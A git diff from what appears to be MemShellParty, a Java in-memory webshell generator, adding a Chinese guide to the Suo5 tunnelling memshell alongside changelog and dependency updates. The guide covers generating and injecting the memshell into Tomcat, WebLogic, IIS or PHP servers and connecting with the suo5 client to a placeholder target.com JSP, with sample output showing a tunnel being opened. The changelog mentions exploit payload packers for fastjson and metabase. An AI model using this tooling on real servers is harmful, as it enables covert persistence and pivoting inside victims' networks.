diff --git a/web/bun.lock b/web/bun.lock
index da51e722..14177735 100644
--- a/web/bun.lock
+++ b/web/bun.lock
@@ -17,7 +17,7 @@
"fumadocs-core": "16.2.3",
"fumadocs-mdx": "14.1.0",
"fumadocs-ui": "16.2.3",
- "i18next": "^25.7.1",
+ "i18next": "^25.7.2",
"isbot": "^5.1.32",
"lucide-react": "^0.556.0",
"motion": "^12.23.25",
@@ -38,7 +38,7 @@
"@react-router/dev": "^7.10.1",
"@tailwindcss/vite": "^4.1.17",
"@types/mdx": "^2.0.13",
- "@types/node": "^24.10.1",
+ "@types/node": "^24.10.2",
"@types/react": "^19.2.7",
"@types/react-copy-to-clipboard": "^5.0.7",
"@types/react-dom": "^19.2.3",
@@ -48,7 +48,7 @@
"serve": "^14.2.5",
"tailwindcss": "^4.1.17",
"typescript": "^5.9.3",
- "vite": "^7.2.6",
+ "vite": "^7.2.7",
"vite-plugin-devtools-json": "^1.0.0",
"vite-tsconfig-paths": "^5.1.4",
},
diff --git a/web/content/docs/(shelltool)/suo5.mdx b/web/content/docs/(shelltool)/suo5.mdx
new file mode 100644
index 00000000..ad800907
--- /dev/null
+++ b/web/content/docs/(shelltool)/suo5.mdx
@@ -0,0 +1,96 @@
+---
+title: Suo5
+description: Suo5 是一款久经实战检验的高性能 HTTP 正向代理工具,持续打磨只为解决一个需求:不出网场景下的稳定正向代理。
+---
+
+import { Step, Steps } from 'fumadocs-ui/components/steps';
+
+项目地址:https://github.com/zema1/suo5
+原理介绍:[https://koalr.me/posts/suo5-a-hign-performace-http-socks/](https://web.archive.org/web/20250430113018/https://koalr.me/posts/suo5-a-hign-performace-http-socks/)
+
+
+
+
+
+## Suo5 v2 版本主要特性
+
+- **优异的传输性能**
+ - 全双工:借助双向 Chunked-Encoding 实现单连接双向通信,传输性能接近 FRP
+ - 半双工:下行长连接 + 上行短连接实现,在 Nginx 反代场景下仍可保持良好性能
+ - 短链接:上下行均使用短连接,适配多层反代和严格限制长连接的场景,作为兜底方案
+- **良好的服务端兼容性**
+ - Java 支持 Tomcat、WebLogic、JBoss、Resin 等主流中间件,JDK6 ~ JDK 2x 全版本支持
+ - .Net 支持 IIS 下所有 .Net Framework 版本 (>=2.0)
+ - PHP 支持 Nginx/Apache 等服务器环境,PHP 5.6 ~ PHP 8.x 全版本支持
+- **复杂网络环境支持**
+ - 支持一层、两层、多层反向代理下的稳定连接
+ - 支持通过流量转发和请求重试来支持负载均衡场景
+ - 支持配置上游代理(HTTP/SOCKS5)
+- **稳定可靠的工程实现**
+ - 正确可靠的连接控制、并发管理、心跳保活、异常重连等
+ - 完善的单元测试和集成测试保障质量
+
+## 使用步骤
+
+
+
+### 选择 Suo5/Suo5v2 内存马工具
+
+Suo5 目前有 [1.x](https://github.com/zema1/suo5/releases/tag/v1.3.1) 版本和 [2.x](https://github.com/zema1/suo5/releases/tag/v2.0.0) 版本,由于改动较大,因此做了两个不同的版本适配。
+
+
+
+
+
+### 设置流量入口特征
+
+为了防止正常业务进入 Suo5 内存马影响到正常业务,需要指定流量特征进入 Suo5 内存马逻辑处理,此处使用特定请求头和请求值来标识,默认情况下是 User-Agent,请求值会随机生成
+
+
+
+
+
+### 生成并注入
+
+选取合适的打包方式,并进行内存马的注入。
+
+
+
+### 连接与使用
+
+在 [zema1/suo5/releases](https://github.com/zema1/suo5/releases) 下载合适的 suo5 客户端
+
+1. 如果请求头使用默认的 User-Agent,则直接通过 `--ua "xXksjas"` 来指定即可,假设生成的为 `User-Agent: xXksjas`,则通过以下命令进行连接
+```bash
+$ ./suo5 -t http://target.com/suo5.jsp --ua "xXksjas"
+...
+[INFO] 14:28 connecting to target http://target.com/suo5.jsp
+[INFO] 14:28 preferred connection mode: half
+[INFO] 14:28 handshake success, using session id 05q21upecl90yccl
+[INFO] 14:28 suo5 is going to work on half mode
+[INFO] 14:28 starting tunnel at 127.0.0.1:1111
+[INFO] 14:28 creating a test connection to the remote target
+[INFO] 14:28 start connection to 127.0.0.1:0
+[INFO] 14:28 successfully connected to 127.0.0.1:0
+[INFO] 14:28 connection closed, 127.0.0.1:0
+[INFO] 14:28 congratulations! everything works fine
+```
+2. 如果请求头使用其他,例如 Referer,则需要使用 `-H "Referer: xXksjas"` 来连接,例如
+```bash
+$ ./suo5 -t http://target.com/suo5.jsp -H "Referer: xXksjas"
+...
+[INFO] 14:28 connecting to target http://target.com/suo5.jsp
+[INFO] 14:28 preferred connection mode: half
+[INFO] 14:28 handshake success, using session id 05q21upecl90yccl
+[INFO] 14:28 suo5 is going to work on half mode
+[INFO] 14:28 starting tunnel at 127.0.0.1:1111
+[INFO] 14:28 creating a test connection to the remote target
+[INFO] 14:28 start connection to 127.0.0.1:0
+[INFO] 14:28 successfully connected to 127.0.0.1:0
+[INFO] 14:28 connection closed, 127.0.0.1:0
+[INFO] 14:28 congratulations! everything works fine
+```
+
+3. 后续的用法可参考官方仓库给出的 [Suo5 使用指南](https://github.com/zema1/suo5#%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97)
+
+
\ No newline at end of file
diff --git a/web/content/docs/changelog.mdx b/web/content/docs/changelog.mdx
index 2f8ed5a5..754d3b8f 100644
--- a/web/content/docs/changelog.mdx
+++ b/web/content/docs/changelog.mdx
@@ -8,6 +8,18 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+## [v2.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.0) - 2025-12-10
+
+### Added
+
+1. 支持 Suo5 V2 版本内存马生成([#118](https://github.com/ReaJason/MemShellParty/issues/118) By @ReaJason Thanks @zema1)
+
+### Changed
+
+1. ui 探测马生成去除 jar 相关打包方式
+
+**Full Changelog:** [v2.3.0...v2.4.0](https://github.com/ReaJason/MemShellParty/compare/v2.3.0...v2.4.0)
+
## [v2.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.3.0) - 2025-12-08
### Added
@@ -18,7 +30,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
4. 支持 Tomcat Upgrade 内存马注入(仅 Tomcat8+ 可用)
5. 支持添加 lambda 类名后缀开关([#97](https://github.com/ReaJason/MemShellParty/issues/97))
6. 命令执行内存马与回显马支持自定义命令模板([#115](https://github.com/ReaJason/MemShellParty/issues/115) Thanks [@ViCrack](https://github.com/ViCrack))
-7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker 方便生成 metabase 漏洞测试 payload
+7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker(方便生成 metabase 漏洞测试 payload)
8. web 模块添加 [fumadocs](https://fumadocs.dev/) 框架,支持文档编写
9. 回显马运行字节码时支持 base64 和 gzipBase64 字节码传入
10. 支持 GroovyTransformJar 打包方式(fastjson 漏洞注入 [#112](https://github.com/ReaJason/MemShellParty/issues/112) Thanks [@DongHuangT1](https://github.com/DongHuangT1))
@@ -28,6 +40,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
1. 由于 jetty handler 依赖的类干扰,boot 容器从 jetty 改为 undertow
2. 注入器和回显马添加 ok 标识仅运行一次,降低代码运行时间
+3. boot 接口添加 /api 前缀,web 添加 /ui 前缀
**Full Changelog:** [v2.2.0...v2.3.0](https://github.com/ReaJason/MemShellParty/compare/v2.2.0...v2.3.0)
diff --git a/web/content/docs/images/suo5.gif b/web/content/docs/images/suo5.gif
new file mode 100644
index 00000000..c4b2e6df
Binary files /dev/null and b/web/content/docs/images/suo5.gif differ
diff --git a/web/content/docs/images/suo5_config.png b/web/content/docs/images/suo5_config.png
new file mode 100644
index 00000000..81467329
Binary files /dev/null and b/web/content/docs/images/suo5_config.png differ
diff --git a/web/content/docs/images/suo5_tool_select.png b/web/content/docs/images/suo5_tool_select.png
new file mode 100644
index 00000000..2457f0a6
Binary files /dev/null and b/web/content/docs/images/suo5_tool_select.png differ
diff --git a/web/content/docs/index.mdx b/web/content/docs/index.mdx
index d414babd..636c5e53 100644
--- a/web/content/docs/index.mdx
+++ b/web/content/docs/index.mdx
@@ -63,7 +63,7 @@ icon: Album
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
- [x] 命令执行
-- [x] [Suo5](https://github.com/zema1/suo5)
+- [x] [Suo5](./suo5)
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
diff --git a/web/content/docs/memshell/meta.json b/web/content/docs/memshell/meta.json
index 57fc723e..9bdd6bc7 100644
--- a/web/content/docs/memshell/meta.json
+++ b/web/content/docs/memshell/meta.json
@@ -1,3 +1,3 @@
{
- "title": "常见 Java 内存马"
+ "title": "Servlets 规范内存马"
}
diff --git a/web/content/docs/meta.json b/web/content/docs/meta.json
index d0461c07..6013eaf8 100644
--- a/web/content/docs/meta.json
+++ b/web/content/docs/meta.json
@@ -10,6 +10,8 @@
"what-is-memshell",
"memshell",
"custom-memshell",
+ "---内存马工具---",
+ "...(shelltool)",
"---其他---",
"recommend-tools"
]
diff --git a/web/content/docs/self-build.mdx b/web/content/docs/self-build.mdx
index f356b5ca..cc48ce0e 100644
--- a/web/content/docs/self-build.mdx
+++ b/web/content/docs/self-build.mdx
@@ -59,7 +59,7 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
-下载项目根目录的 [Dockerfile](./Dockerfile)
+下载项目根目录的 [Dockerfile](https://github.com/ReaJason/MemShellParty/blob/master/Dockerfile)
- ROUTE_ROOT_PATH: 前端根路由配置
- CONTEXT_PATH: 后端访问前缀